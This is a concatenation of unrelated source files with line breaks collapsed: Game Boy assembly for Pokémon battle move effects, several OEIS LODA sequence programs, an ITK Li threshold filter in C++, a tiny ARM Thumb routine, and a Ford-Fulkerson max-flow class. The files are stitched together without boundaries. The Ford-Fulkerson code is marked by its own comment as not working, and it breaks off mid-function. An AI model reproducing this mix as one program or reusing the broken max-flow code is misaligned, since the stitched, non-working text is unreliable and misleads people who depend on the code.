RestoreOriginalStatModifier: pop hl dec [hl] PrintNothingHappenedText: ld hl, NothingHappenedText jp PrintText MonsStatsRoseText: TX_FAR _MonsStatsRoseText TX_ASM ld hl, GreatlyRoseText ld a, [H_WHOSETURN] and a ld a, [wPlayerMoveEffect] jr z, .playerTurn ld a, [wEnemyMoveEffect] .playerTurn cp ATTACK_DOWN1_EFFECT ret nc ld hl, RoseText ret GreatlyRoseText: TX_DELAY TX_FAR _GreatlyRoseText ; fallthrough RoseText: TX_FAR _RoseText db "@" StatModifierDownEffect: ld hl, wEnemyMonStatMods ld de, wPlayerMoveEffect ld bc, wEnemyBattleStatus1 ld a, [H_WHOSETURN] and a jr z, .statModifierDownEffect ld hl, wPlayerMonStatMods ld de, wEnemyMoveEffect ld bc, wPlayerBattleStatus1 ld a, [wLinkState] cp LINK_STATE_BATTLING jr z, .statModifierDownEffect call BattleRandom cp $40 ; 1/4 chance to miss by in regular battle jp c, MoveMissed .statModifierDownEffect call CheckTargetSubstitute ; can't hit through substitute jp nz, MoveMissed ld a, [de] cp ATTACK_DOWN_SIDE_EFFECT jr c, .nonSideEffect call BattleRandom cp $55 ; 85/256 chance for side effects jp nc, CantLowerAnymore ld a, [de] sub ATTACK_DOWN_SIDE_EFFECT ; map each stat to 0-3 jr .decrementStatMod .nonSideEffect ; non-side effects only push hl push de push bc call MoveHitTest ; apply accuracy tests pop bc pop de pop hl ld a, [wMoveMissed] and a jp nz, MoveMissed ld a, [bc] bit INVULNERABLE, a ; fly/dig jp nz, MoveMissed ld a, [de] sub ATTACK_DOWN1_EFFECT cp EVASION_DOWN1_EFFECT + $3 - ATTACK_DOWN1_EFFECT ; covers all -1 effects jr c, .decrementStatMod sub ATTACK_DOWN2_EFFECT - ATTACK_DOWN1_EFFECT ; map -2 effects to corresponding -1 effect .decrementStatMod ld c, a ld b, $0 add hl, bc ld b, [hl] dec b ; dec corresponding stat mod jp z, CantLowerAnymore ; if stat mod is 1 (-6), can't lower anymore ld a, [de] cp ATTACK_DOWN2_EFFECT - $16 ; $24 jr c, .ok cp EVASION_DOWN2_EFFECT + $5 ; $44 jr nc, .ok dec b ; stat down 2 effects only (dec mod again) jr nz, .ok inc b ; increment mod to 1 (-6) if it would become 0 (-7) .ok ld [hl], b ; save modified mod ld a, c cp $4 jr nc, UpdateLoweredStatDone ; jump for evasion/accuracy push hl push de ld hl, wEnemyMonAttack + 1 ld de, wEnemyMonUnmodifiedAttack ld a, [H_WHOSETURN] and a jr z, .pointToStat ld hl, wBattleMonAttack + 1 ld de, wPlayerMonUnmodifiedAttack .pointToStat push bc sla c ld b, $0 add hl, bc ; hl = modified stat ld a, c add e ld e, a jr nc, .noCarry inc d ; de = unmodified stat .noCarry pop bc ld a, [hld] sub $1 ; can't lower stat below 1 (-6) jr nz, .recalculateStat ld a, [hl] and a jp z, CantLowerAnymore_Pop .recalculateStat ; recalculate affected stat ; paralysis and burn penalties, as well as badge boosts are ignored push hl push bc ld hl, StatModifierRatios dec b sla b ld c, b ld b, $0 add hl, bc pop bc xor a ld [H_MULTIPLICAND], a ld a, [de] ld [H_MULTIPLICAND + 1], a inc de ld a, [de] ld [H_MULTIPLICAND + 2], a ld a, [hli] ld [H_MULTIPLIER], a call Multiply ld a, [hl] ld [H_DIVISOR], a ld b, $4 call Divide pop hl ld a, [H_PRODUCT + 3] ld b, a ld a, [H_PRODUCT + 2] or b jp nz, UpdateLoweredStat ld [H_MULTIPLICAND + 1], a ld a, $1 ld [H_MULTIPLICAND + 2], a UpdateLoweredStat: ld a, [H_PRODUCT + 2] ld [hli], a ld a, [H_PRODUCT + 3] ld [hl], a pop de pop hl UpdateLoweredStatDone: ld b, c inc b push de call PrintStatText pop de ld a, [de] cp $44 jr nc, .ApplyBadgeBoostsAndStatusPenalties call PlayCurrentMoveAnimation2 .ApplyBadgeBoostsAndStatusPenalties ld a, [H_WHOSETURN] and a call nz, ApplyBadgeStatBoosts ; whenever the player uses a stat-down move, badge boosts get reapplied again to every stat, ; even to those not affected by the stat-up move (will be boosted further) ld hl, MonsStatsFellText call PrintText ; These where probably added given that a stat-down move affecting speed or attack will override ; the stat penalties from paralysis and burn respectively. ; But they are always called regardless of the stat affected by the stat-down move. call QuarterSpeedDueToParalysis jp HalveAttackDueToBurn CantLowerAnymore_Pop: pop de pop hl inc [hl] CantLowerAnymore: ld a, [de] cp ATTACK_DOWN_SIDE_EFFECT ret nc ld hl, NothingHappenedText jp PrintText MoveMissed: ld a, [de] cp $44 ret nc jp ConditionalPrintButItFailed MonsStatsFellText: TX_FAR _MonsStatsFellText TX_ASM ld hl, FellText ld a, [H_WHOSETURN] and a ld a, [wPlayerMoveEffect] jr z, .playerTurn ld a, [wEnemyMoveEffect] .playerTurn ; check if the move's effect decreases a stat by 2 cp BIDE_EFFECT ret c cp ATTACK_DOWN_SIDE_EFFECT ret nc ld hl, GreatlyFellText ret GreatlyFellText: TX_DELAY TX_FAR _GreatlyFellText ; fallthrough FellText: TX_FAR _FellText db "@" PrintStatText: ld hl, StatsTextStrings ld c, "@" .findStatName_outer dec b jr z, .foundStatName .findStatName_inner ld a, [hli] cp c jr z, .findStatName_outer jr .findStatName_inner .foundStatName ld de, wcf4b ld bc, $a jp CopyData StatsTextStrings: db "ATTACK@" db "DEFENSE@" db "SPEED@" db "SPECIAL@" db "ACCURACY@" db "EVADE@" StatModifierRatios: ; first byte is numerator, second byte is denominator db 25, 100 ; 0.25 db 28, 100 ; 0.28 db 33, 100 ; 0.33 db 40, 100 ; 0.40 db 50, 100 ; 0.50 db 66, 100 ; 0.66 db 1, 1 ; 1.00 db 15, 10 ; 1.50 db 2, 1 ; 2.00 db 25, 10 ; 2.50 db 3, 1 ; 3.00 db 35, 10 ; 3.50 db 4, 1 ; 4.00 BideEffect: ld hl, wPlayerBattleStatus1 ld de, wPlayerBideAccumulatedDamage ld bc, wPlayerNumAttacksLeft ld a, [H_WHOSETURN] and a jr z, .bideEffect ld hl, wEnemyBattleStatus1 ld de, wEnemyBideAccumulatedDamage ld bc, wEnemyNumAttacksLeft .bideEffect set STORING_ENERGY, [hl] ; mon is now using bide xor a ld [de], a inc de ld [de], a ld [wPlayerMoveEffect], a ld [wEnemyMoveEffect], a call BattleRandom and $1 inc a inc a ld [bc], a ; set Bide counter to 2 or 3 at random ld a, [H_WHOSETURN] add XSTATITEM_ANIM jp PlayBattleAnimation2 ThrashPetalDanceEffect: ld hl, wPlayerBattleStatus1 ld de, wPlayerNumAttacksLeft ld a, [H_WHOSETURN] and a jr z, .thrashPetalDanceEffect ld hl, wEnemyBattleStatus1 ld de, wEnemyNumAttacksLeft .thrashPetalDanceEffect set THRASHING_ABOUT, [hl] ; mon is now using thrash/petal dance call BattleRandom and $1 inc a inc a ld [de], a ; set thrash/petal dance counter to 2 or 3 at random ld a, [H_WHOSETURN] add ANIM_B0 jp PlayBattleAnimation2 SwitchAndTeleportEffect: ld a, [H_WHOSETURN] and a jr nz, .handleEnemy ld a, [wIsInBattle] dec a jr nz, .notWildBattle1 ld a, [wCurEnemyLVL] ld b, a ld a, [wBattleMonLevel] cp b ; is the player's level greater than the enemy's level? jr nc, .playerMoveWasSuccessful ; if so, teleport will always succeed add b ld c, a inc c ; c = sum of player level and enemy level .rejectionSampleLoop1 call BattleRandom cp c ; get a random number between 0 and c jr nc, .rejectionSampleLoop1 srl b srl b ; b = enemyLevel / 4 cp b ; is rand[0, playerLevel + enemyLevel) >= (enemyLevel / 4)? jr nc, .playerMoveWasSuccessful ; if so, allow teleporting ld c, 50 call DelayFrames ld a, [wPlayerMoveNum] cp TELEPORT jp nz, PrintDidntAffectText jp PrintButItFailedText_ .playerMoveWasSuccessful call ReadPlayerMonCurHPAndStatus xor a ld [wAnimationType], a inc a ld [wEscapedFromBattle], a ld a, [wPlayerMoveNum] jr .playAnimAndPrintText .notWildBattle1 ld c, 50 call DelayFrames ld hl, IsUnaffectedText ld a, [wPlayerMoveNum] cp TELEPORT jp nz, PrintText jp PrintButItFailedText_ .handleEnemy ld a, [wIsInBattle] dec a jr nz, .notWildBattle2 ld a, [wBattleMonLevel] ld b, a ld a, [wCurEnemyLVL] cp b jr nc, .enemyMoveWasSuccessful add b ld c, a inc c .rejectionSampleLoop2 call BattleRandom cp c jr nc, .rejectionSampleLoop2 srl b srl b cp b jr nc, .enemyMoveWasSuccessful ld c, 50 call DelayFrames ld a, [wEnemyMoveNum] cp TELEPORT jp nz, PrintDidntAffectText jp PrintButItFailedText_ .enemyMoveWasSuccessful call ReadPlayerMonCurHPAndStatus xor a ld [wAnimationType], a inc a ld [wEscapedFromBattle], a ld a, [wEnemyMoveNum] jr .playAnimAndPrintText .notWildBattle2 ld c, 50 call DelayFrames ld hl, IsUnaffectedText ld a, [wEnemyMoveNum] cp TELEPORT jp nz, PrintText jp ConditionalPrintButItFailed .playAnimAndPrintText push af call PlayBattleAnimation ld c, 20 call DelayFrames pop af ld hl, RanFromBattleText cp TELEPORT jr z, .printText ld hl, RanAwayScaredText cp ROAR jr z, .printText ld hl, WasBlownAwayText .printText jp PrintText RanFromBattleText: TX_FAR _RanFromBattleText db "@" RanAwayScaredText: TX_FAR _RanAwayScaredText db "@" WasBlownAwayText: TX_FAR _WasBlownAwayText db "@" TwoToFiveAttacksEffect: ld hl, wPlayerBattleStatus1 ld de, wPlayerNumAttacksLeft ld bc, wPlayerNumHits ld a, [H_WHOSETURN] and a jr z, .twoToFiveAttacksEffect ld hl, wEnemyBattleStatus1 ld de, wEnemyNumAttacksLeft ld bc, wEnemyNumHits .twoToFiveAttacksEffect bit ATTACKING_MULTIPLE_TIMES, [hl] ; is mon attacking multiple times? ret nz set ATTACKING_MULTIPLE_TIMES, [hl] ; mon is now attacking multiple times ld hl, wPlayerMoveEffect ld a, [H_WHOSETURN] and a jr z, .setNumberOfHits ld hl, wEnemyMoveEffect .setNumberOfHits ld a, [hl] cp TWINEEDLE_EFFECT jr z, .twineedle cp ATTACK_TWICE_EFFECT ld a, $2 ; number of hits it's always 2 for ATTACK_TWICE_EFFECT jr z, .saveNumberOfHits ; for TWO_TO_FIVE_ATTACKS_EFFECT 3/8 chance for 2 and 3 hits, and 1/8 chance for 4 and 5 hits call BattleRandom and $3 cp $2 jr c, .gotNumHits ; if the number of hits was greater than 2, re-roll again for a lower chance call BattleRandom and $3 .gotNumHits inc a inc a .saveNumberOfHits ld [de], a ld [bc], a ret .twineedle ld a, POISON_SIDE_EFFECT1 ld [hl], a ; set Twineedle's effect to poison effect jr .saveNumberOfHits FlinchSideEffect: call CheckTargetSubstitute ret nz ld hl, wEnemyBattleStatus1 ld de, wPlayerMoveEffect ld a, [H_WHOSETURN] and a jr z, .flinchSideEffect ld hl, wPlayerBattleStatus1 ld de, wEnemyMoveEffect .flinchSideEffect ld a, [de] cp FLINCH_SIDE_EFFECT1 ld b, $1a ; ~10% chance of flinch jr z, .gotEffectChance ld b, $4d ; ~30% chance of flinch .gotEffectChance call BattleRandom cp b ret nc set FLINCHED, [hl] ; set mon's status to flinching call ClearHyperBeam ret OneHitKOEffect: jpab OneHitKOEffect_ ChargeEffect: ld hl, wPlayerBattleStatus1 ld de, wPlayerMoveEffect ld a, [H_WHOSETURN] and a ld b, XSTATITEM_ANIM jr z, .chargeEffect ld hl, wEnemyBattleStatus1 ld de, wEnemyMoveEffect ld b, ANIM_AF .chargeEffect set CHARGING_UP, [hl] ld a, [de] dec de ; de contains enemy or player MOVENUM cp FLY_EFFECT jr nz, .notFly set INVULNERABLE, [hl] ; mon is now invulnerable to typical attacks (fly/dig) ld b, TELEPORT ; load Teleport's animation .notFly ld a, [de] cp DIG jr nz, .notDigOrFly set INVULNERABLE, [hl] ; mon is now invulnerable to typical attacks (fly/dig) ld b, ANIM_C0 .notDigOrFly xor a ld [wAnimationType], a ld a, b call PlayBattleAnimation ld a, [de] ld [wChargeMoveNum], a ld hl, ChargeMoveEffectText jp PrintText ChargeMoveEffectText: TX_FAR _ChargeMoveEffectText TX_ASM ld a, [wChargeMoveNum] cp RAZOR_WIND ld hl, MadeWhirlwindText jr z, .gotText cp SOLARBEAM ld hl, TookInSunlightText jr z, .gotText cp SKULL_BASH ld hl, LoweredItsHeadText jr z, .gotText cp SKY_ATTACK ld hl, SkyAttackGlowingText jr z, .gotText cp FLY ld hl, FlewUpHighText jr z, .gotText cp DIG ld hl, DugAHoleText .gotText ret MadeWhirlwindText: TX_FAR _MadeWhirlwindText db "@" TookInSunlightText: TX_FAR _TookInSunlightText db "@" LoweredItsHeadText: TX_FAR _LoweredItsHeadText db "@" SkyAttackGlowingText: TX_FAR _SkyAttackGlowingText db "@" FlewUpHighText: TX_FAR _FlewUpHighText db "@" DugAHoleText: TX_FAR _DugAHoleText db "@" TrappingEffect: ld hl, wPlayerBattleStatus1 ld de, wPlayerNumAttacksLeft ld a, [H_WHOSETURN] and a jr z, .trappingEffect ld hl, wEnemyBattleStatus1 ld de, wEnemyNumAttacksLeft .trappingEffect bit USING_TRAPPING_MOVE, [hl] ret nz call ClearHyperBeam ; since this effect is called before testing whether the move will hit, ; the target won't need to recharge even if the trapping move missed set USING_TRAPPING_MOVE, [hl] ; mon is now using a trapping move call BattleRandom ; 3/8 chance for 2 and 3 attacks, and 1/8 chance for 4 and 5 attacks and $3 cp $2 jr c, .setTrappingCounter call BattleRandom and $3 .setTrappingCounter inc a ld [de], a ret MistEffect: jpab MistEffect_ FocusEnergyEffect: jpab FocusEnergyEffect_ RecoilEffect: jpab RecoilEffect_ ConfusionSideEffect: call BattleRandom cp $19 ; ~10% chance ret nc jr ConfusionSideEffectSuccess ConfusionEffect: call CheckTargetSubstitute jr nz, ConfusionEffectFailed call MoveHitTest ld a, [wMoveMissed] and a jr nz, ConfusionEffectFailed ConfusionSideEffectSuccess: ld a, [H_WHOSETURN] and a ld hl, wEnemyBattleStatus1 ld bc, wEnemyConfusedCounter ld a, [wPlayerMoveEffect] jr z, .confuseTarget ld hl, wPlayerBattleStatus1 ld bc, wPlayerConfusedCounter ld a, [wEnemyMoveEffect] .confuseTarget bit CONFUSED, [hl] ; is mon confused? jr nz, ConfusionEffectFailed set CONFUSED, [hl] ; mon is now confused push af call BattleRandom and $3 inc a inc a ld [bc], a ; confusion status will last 2-5 turns pop af cp CONFUSION_SIDE_EFFECT call nz, PlayCurrentMoveAnimation2 ld hl, BecameConfusedText jp PrintText BecameConfusedText: TX_FAR _BecameConfusedText db "@" ConfusionEffectFailed: cp CONFUSION_SIDE_EFFECT ret z ld c, 50 call DelayFrames jp ConditionalPrintButItFailed ParalyzeEffect: jpab ParalyzeEffect_ SubstituteEffect: jpab SubstituteEffect_ HyperBeamEffect: ld hl, wPlayerBattleStatus2 ld a, [H_WHOSETURN] and a jr z, .hyperBeamEffect ld hl, wEnemyBattleStatus2 .hyperBeamEffect set NEEDS_TO_RECHARGE, [hl] ; mon now needs to recharge ret ClearHyperBeam: push hl ld hl, wEnemyBattleStatus2 ld a, [H_WHOSETURN] and a jr z, .playerTurn ld hl, wPlayerBattleStatus2 .playerTurn res NEEDS_TO_RECHARGE, [hl] ; mon no longer needs to recharge pop hl ret RageEffect: ld hl, wPlayerBattleStatus2 ld a, [H_WHOSETURN] and a jr z, .player ld hl, wEnemyBattleStatus2 .player set USING_RAGE, [hl] ; mon is now in "rage" mode ret MimicEffect: ld c, 50 call DelayFrames call MoveHitTest ld a, [wMoveMissed] and a jr nz, .mimicMissed ld a, [H_WHOSETURN] and a ld hl, wBattleMonMoves ld a, [wPlayerBattleStatus1] jr nz, .enemyTurn ld a, [wLinkState] cp LINK_STATE_BATTLING jr nz, .letPlayerChooseMove ld hl, wEnemyMonMoves ld a, [wEnemyBattleStatus1] .enemyTurn bit INVULNERABLE, a jr nz, .mimicMissed .getRandomMove push hl call BattleRandom and $3 ld c, a ld b, $0 add hl, bc ld a, [hl] pop hl and a jr z, .getRandomMove ld d, a ld a, [H_WHOSETURN] and a ld hl, wBattleMonMoves ld a, [wPlayerMoveListIndex] jr z, .playerTurn ld hl, wEnemyMonMoves ld a, [wEnemyMoveListIndex] jr .playerTurn .letPlayerChooseMove ld a, [wEnemyBattleStatus1] bit INVULNERABLE, a jr nz, .mimicMissed ld a, [wCurrentMenuItem] push af ld a, $1 ld [wMoveMenuType], a call MoveSelectionMenu call LoadScreenTilesFromBuffer1 ld hl, wEnemyMonMoves ld a, [wCurrentMenuItem] ld c, a ld b, $0 add hl, bc ld d, [hl] pop af ld hl, wBattleMonMoves .playerTurn ld c, a ld b, $0 add hl, bc ld a, d ld [hl], a ld [wd11e], a call GetMoveName call PlayCurrentMoveAnimation ld hl, MimicLearnedMoveText jp PrintText .mimicMissed jp PrintButItFailedText_ MimicLearnedMoveText: TX_FAR _MimicLearnedMoveText db "@" LeechSeedEffect: jpab LeechSeedEffect_ SplashEffect: call PlayCurrentMoveAnimation jp PrintNoEffectText DisableEffect: call MoveHitTest ld a, [wMoveMissed] and a jr nz, .moveMissed ld de, wEnemyDisabledMove ld hl, wEnemyMonMoves ld a, [H_WHOSETURN] and a jr z, .disableEffect ld de, wPlayerDisabledMove ld hl, wBattleMonMoves .disableEffect ; no effect if target already has a move disabled ld a, [de] and a jr nz, .moveMissed .pickMoveToDisable push hl call BattleRandom and $3 ld c, a ld b, $0 add hl, bc ld a, [hl] pop hl and a jr z, .pickMoveToDisable ; loop until a non-00 move slot is found ld [wd11e], a ; store move number push hl ld a, [H_WHOSETURN] and a ld hl, wBattleMonPP jr nz, .enemyTurn ld a, [wLinkState] cp LINK_STATE_BATTLING pop hl ; wEnemyMonMoves jr nz, .playerTurnNotLinkBattle ; .playerTurnLinkBattle push hl ld hl, wEnemyMonPP .enemyTurn push hl ld a, [hli] or [hl] inc hl or [hl] inc hl or [hl] and $3f pop hl ; wBattleMonPP or wEnemyMonPP jr z, .moveMissedPopHL ; nothing to do if all moves have no PP left add hl, bc ld a, [hl] pop hl and a jr z, .pickMoveToDisable ; pick another move if this one had 0 PP .playerTurnNotLinkBattle ; non-link battle enemies have unlimited PP so the previous checks aren't needed call BattleRandom and $7 inc a ; 1-8 turns disabled inc c ; move 1-4 will be disabled swap c add c ; map disabled move to high nibble of wEnemyDisabledMove / wPlayerDisabledMove ld [de], a call PlayCurrentMoveAnimation2 ld hl, wPlayerDisabledMoveNumber ld a, [H_WHOSETURN] and a jr nz, .printDisableText inc hl ; wEnemyDisabledMoveNumber .printDisableText ld a, [wd11e] ; move number ld [hl], a call GetMoveName ld hl, MoveWasDisabledText jp PrintText .moveMissedPopHL pop hl .moveMissed jp PrintButItFailedText_ MoveWasDisabledText: TX_FAR _MoveWasDisabledText db "@" PayDayEffect: jpab PayDayEffect_ ConversionEffect: jpab ConversionEffect_ HazeEffect: jpab HazeEffect_ HealEffect: jpab HealEffect_ TransformEffect: jpab TransformEffect_ ReflectLightScreenEffect: jpab ReflectLightScreenEffect_ NothingHappenedText: TX_FAR _NothingHappenedText db "@" PrintNoEffectText: ld hl, NoEffectText jp PrintText NoEffectText: TX_FAR _NoEffectText db "@" ConditionalPrintButItFailed: ld a, [wMoveDidntMiss] and a ret nz ; return if the side effect failed, yet the attack was successful PrintButItFailedText_: ld hl, ButItFailedText jp PrintText ButItFailedText: TX_FAR _ButItFailedText db "@" PrintDidntAffectText: ld hl, DidntAffectText jp PrintText DidntAffectText: TX_FAR _DidntAffectText db "@" IsUnaffectedText: TX_FAR _IsUnaffectedText db "@" PrintMayNotAttackText: ld hl, ParalyzedMayNotAttackText jp PrintText ParalyzedMayNotAttackText: TX_FAR _ParalyzedMayNotAttackText db "@" CheckTargetSubstitute: push hl ld hl, wEnemyBattleStatus2 ld a, [H_WHOSETURN] and a jr z, .next1 ld hl, wPlayerBattleStatus2 .next1 bit HAS_SUBSTITUTE_UP, [hl] pop hl ret PlayCurrentMoveAnimation2: ; animation at MOVENUM will be played unless MOVENUM is 0 ; plays wAnimationType 3 or 6 ld a, [H_WHOSETURN] and a ld a, [wPlayerMoveNum] jr z, .notEnemyTurn ld a, [wEnemyMoveNum] .notEnemyTurn and a ret z PlayBattleAnimation2: ; play animation ID at a and animation type 6 or 3 ld [wAnimationID], a ld a, [H_WHOSETURN] and a ld a, $6 jr z, .storeAnimationType ld a, $3 .storeAnimationType ld [wAnimationType], a jp PlayBattleAnimationGotID PlayCurrentMoveAnimation: ; animation at MOVENUM will be played unless MOVENUM is 0 ; resets wAnimationType xor a ld [wAnimationType], a ld a, [H_WHOSETURN] and a ld a, [wPlayerMoveNum] jr z, .notEnemyTurn ld a, [wEnemyMoveNum] .notEnemyTurn and a ret z PlayBattleAnimation: ; play animation ID at a and predefined animation type ld [wAnimationID], a PlayBattleAnimationGotID: ; play animation at wAnimationID push hl push de push bc predef MoveAnimation pop bc pop de pop hl ret
; A262490: The index of the first of two consecutive positive triangular numbers (A000217) the sum of which is equal to the sum of four consecutive positive triangular numbers. ; Submitted by Jamie Morken(s1) ; 9,57,337,1969,11481,66921,390049,2273377,13250217,77227929,450117361,2623476241,15290740089,89120964297,519435045697,3027489309889,17645500813641,102845515571961,599427592618129,3493720040136817,20362892648202777,118683635849079849,691738922446276321,4031749898828578081,23498760470525192169,136960812924322574937,798266117075410257457,4652635889528138969809,27117549220093423561401,158052659431032402398601,921198407366100990830209,5369137784765573542582657,31293628301227340264665737 add $0,1 lpb $0 sub $0,1 mov $1,$3 mul $1,4 add $2,1 add $2,$1 add $3,$2 lpe mov $0,$3 sub $0,1 mul $0,8 add $0,9
/*========================================================================= * * Copyright Insight Software Consortium * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0.txt * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * *=========================================================================*/ #ifndef itkLiThresholdCalculator_hxx #define itkLiThresholdCalculator_hxx #include "itkLiThresholdCalculator.h" #include "itkProgressReporter.h" #include "itkMath.h" #include <algorithm> namespace itk { template<typename THistogram, typename TOutput> void LiThresholdCalculator<THistogram, TOutput> ::GenerateData() { const HistogramType * histogram = this->GetInput(); if ( histogram->GetTotalFrequency() == 0 ) { itkExceptionMacro(<< "Histogram is empty"); } ProgressReporter progress(this, 0, histogram->GetSize(0) ); if( histogram->GetSize(0) == 1 ) { this->GetOutput()->Set( static_cast<OutputType>( histogram->GetMeasurement(0,0) ) ); } unsigned int size = histogram->GetSize(0); long int histthresh; int ih; int num_pixels; double sum_back; // sum of the background pixels at a given threshold double sum_obj; // sum of the object pixels at a given threshold int num_back; // number of background pixels at a given threshold int num_obj; // number of object pixels at a given threshold double old_thresh; double new_thresh; double mean_back; // mean of the background pixels at a given threshold double mean_obj; // mean of the object pixels at a given threshold double mean; // mean gray-level in the image double tolerance; // threshold tolerance double temp; // If there are negative values then shift the values to zero. const double bin_min = std::min(static_cast<double>(histogram->GetBinMin(0,0)), 0.0); tolerance = 0.5; num_pixels = histogram->GetTotalFrequency(); // Calculate the mean gray-level mean = 0.0; for ( ih = 0; (unsigned)ih < size; ih++ ) //0 + 1? { mean += histogram->GetMeasurement(ih, 0) * histogram->GetFrequency(ih, 0); } mean /= num_pixels; // Initial estimate new_thresh = mean; do { old_thresh = new_thresh; typename HistogramType::MeasurementVectorType ot(1); ot.Fill((int) (old_thresh + 0.5)); { typename HistogramType::IndexType local_index; histogram->GetIndex(ot, local_index); histthresh = local_index[0]; if( histogram->IsIndexOutOfBounds(local_index) ) { itkWarningMacro("Unexpected histogram index out of bounds!"); break; } } // Calculate the means of background and object pixels // Background sum_back = 0; num_back = 0; for ( ih = 0; ih <= histthresh; ih++ ) { sum_back += histogram->GetMeasurement(ih, 0) * histogram->GetFrequency(ih, 0); num_back += histogram->GetFrequency(ih, 0); } mean_back = ( num_back == 0 ? 0.0 : ( sum_back / ( double ) num_back ) ); // Object sum_obj = 0; num_obj = 0; for ( ih = histthresh + 1; (unsigned)ih < size; ih++ ) { sum_obj += histogram->GetMeasurement(ih, 0) * histogram->GetFrequency(ih, 0); num_obj += histogram->GetFrequency(ih, 0); } mean_obj = ( num_obj == 0 ? 0.0 : ( sum_obj / ( double ) num_obj ) ); // Calculate the new threshold: Equation (7) in Ref. 2 //new_thresh = simple_round ( ( mean_back - mean_obj ) / ( Math.log ( mean_back ) - Math.log ( mean_obj ) ) ); //simple_round ( double x ) { // return ( int ) ( IS_NEG ( x ) ? x - .5 : x + .5 ); //} // //#define IS_NEG( x ) ( ( x ) < -DBL_EPSILON ) // // Shift the mean by the minimum to have the range start at zero, // and avoid the log of a negative value. mean_back -= bin_min; mean_obj -= bin_min; temp = ( mean_back - mean_obj ) / ( std::log ( mean_back ) - std::log ( mean_obj ) ); double epsilon = itk::NumericTraits<double>::epsilon(); if( temp < -epsilon ) { new_thresh = (int) (temp - 0.5); } else { new_thresh = (int) (temp + 0.5); } // Stop the iterations when the difference between the new and old threshold // values is less than the tolerance // Shift the result back. new_thresh += bin_min; } while ( std::abs ( new_thresh - old_thresh ) > tolerance ); this->GetOutput()->Set( static_cast<OutputType>( histogram->GetMeasurement( histthresh, 0 ) ) ); } } // end namespace itk #endif
PRESERVE8 THUMB AREA |.text|,CODE,READONLY EXPORT __main __main MOVS R0,#5 MOVS R1,#5 MOVS R2,#2 MUL R1,R1,R0 MUL R1,R2,R1 ADDS R1,R1,R0 ADDS R1,R1,#3 stop B stop END
; A099545: Odd part of n, modulo 4. ; 1,1,3,1,1,3,3,1,1,1,3,3,1,3,3,1,1,1,3,1,1,3,3,3,1,1,3,3,1,3,3,1,1,1,3,1,1,3,3,1,1,1,3,3,1,3,3,3,1,1,3,1,1,3,3,3,1,1,3,3,1,3,3,1,1,1,3,1,1,3,3,1,1,1,3,3,1,3,3,1,1,1,3,1,1,3,3,3,1,1,3,3,1,3,3,3,1,1,3,1,1,3,3,1,1,1,3,3,1,3,3,3,1,1,3,1,1,3,3,3,1,1,3,3,1,3,3,1,1,1,3,1,1,3,3,1,1,1,3,3,1,3,3,1,1,1,3,1,1,3,3,3,1,1,3,3,1,3,3,1,1,1,3,1,1,3,3,1,1,1,3,3,1,3,3,3,1,1,3,1,1,3,3,3,1,1,3,3,1,3,3,3,1,1,3,1,1,3,3,1,1,1,3,3,1,3,3,1,1,1,3,1,1,3,3,3,1,1,3,3,1,3,3,3,1,1,3,1,1,3,3,1,1,1,3,3,1,3,3,3,1,1,3,1,1,3,3,3,1,1 add $0,1 lpb $0 dif $0,2 lpe lpb $0 mod $0,4 lpe mov $1,$0
; A092292: a(n) = 3*n + A053838(n). ; Submitted by Jon Maiga ; 0,4,8,10,14,15,20,21,25,28,32,33,38,39,43,45,49,53,56,57,61,63,67,71,73,77,78,82,86,87,92,93,97,99,103,107,110,111,115,117,121,125,127,131,132,135,139,143,145,149,150 mul $0,2 mov $2,$0 lpb $2,2 add $2,$0 mod $3,3 add $3,$2 div $2,3 lpe mov $0,$3
; A146084: Expansion of 1/(1-x(1-12x)). ; 1,1,-11,-23,109,385,-923,-5543,5533,72049,5653,-858935,-926771,9380449,20501701,-92063687,-338084099,766680145,4823689333,-4376472407,-62260744403,-9743075519,737385857317,854302763545,-7994327524259,-18245960686799,77685969604309,296637497845897,-635594137405811,-4195244111556575,3431885537313157 mov $1,2 mov $2,2 lpb $0 sub $0,1 mul $1,12 sub $2,$1 add $1,$2 lpe sub $1,2 div $1,24 mul $1,12 add $1,1
#include "FordFulkerson.h" FordFulkerson::FordFulkerson(const Graph& graph):G(graph){ //solve(); } FordFulkerson::~FordFulkerson(){} // No funciona :'( bool FordFulkerson::findPath(int src, std::vector<int>& parent, std::vector<bool>& visited){ if (src == G.getSink()) { return true; } else { for (EdgeId eId : G.getVertexOutwardEdges(src)) { if (G.getEdgeFlow(eId) > 0 or visited[G.getEdgeDestination(eId)]) continue; parent[G.getEdgeDestination(eId)] = G.getEdgeOrigin(eId); visited[G.getEdgeDestination(eId)] = true; if (findPath(G.getEdgeDestination(eId), parent, visited)) return true; visited[G.getEdgeDestination(eId)] = false; parent[G.getEdgeDestination(eId)] = -1; } for (EdgeId eId : G.getVertexInwardEdges(src)) { if (G.getEdgeResidualFlow(eId) > 0 or visited[G.getEdgeDestination(eId)]) continue; parent[G.getEdgeDestination(eId)] = G.getEdgeOrigin(eId); visited[G.getEdgeDestination(eId)] = true; if (findPath(G.getEdgeDestination(eId), parent, visited)) return true; visited[G.getEdgeDestination(eId)] = false; parent[G.getEdgeDestination(eId)] = -1; } return false; } } bool FordFulkerson::findPath(std::vector<int>& parent){ int s = G.getSource(); std::vector<bool> visited = std::vector<bool>(G.getNumVertex(), false); bool b = findPath(s, parent, visited); return b; } void FordFulkerson::augment(std::vector<int>& parent){ int x = getBottleneck(parent); int v = G.getSink(); while(parent[v] != -1){ EdgeId bw = EdgeId(v,parent[v]); EdgeId fw = EdgeId(parent[v],v); if(G.edgeExists(fw)){ G.setEdgeFlow(fw,G.getEdgeFlow(fw)+x); } else{ G.setEdgeFlow(bw,G.getEdgeFlow(bw)-x); } v = parent[v]; } } int FordFulkerson::getBottleneck(std::vector<int>& parent){ int bottleneck = std::numeric_limits<int>::max(); int v = G.getSink(); while(parent[v] != -1){ EdgeId bw = EdgeId(v,parent[v]); EdgeId fw = EdgeId(parent[v],v); int x; if(G.edgeExists(fw)){ x = G.getEdgeResidualFlow(fw); } else{ x = G.getEdgeFlow(bw); } if(x < bottleneck) bottleneck = x; v = parent[v]; } return bottleneck; } bool FordFulkerson::isMaxFlow(){ int t = G.getSink(); std::vector<EdgeId> incident = G.getVertexInwardEdges(t); for(unsigned int u = 0; u < incident.size(); ++u){ 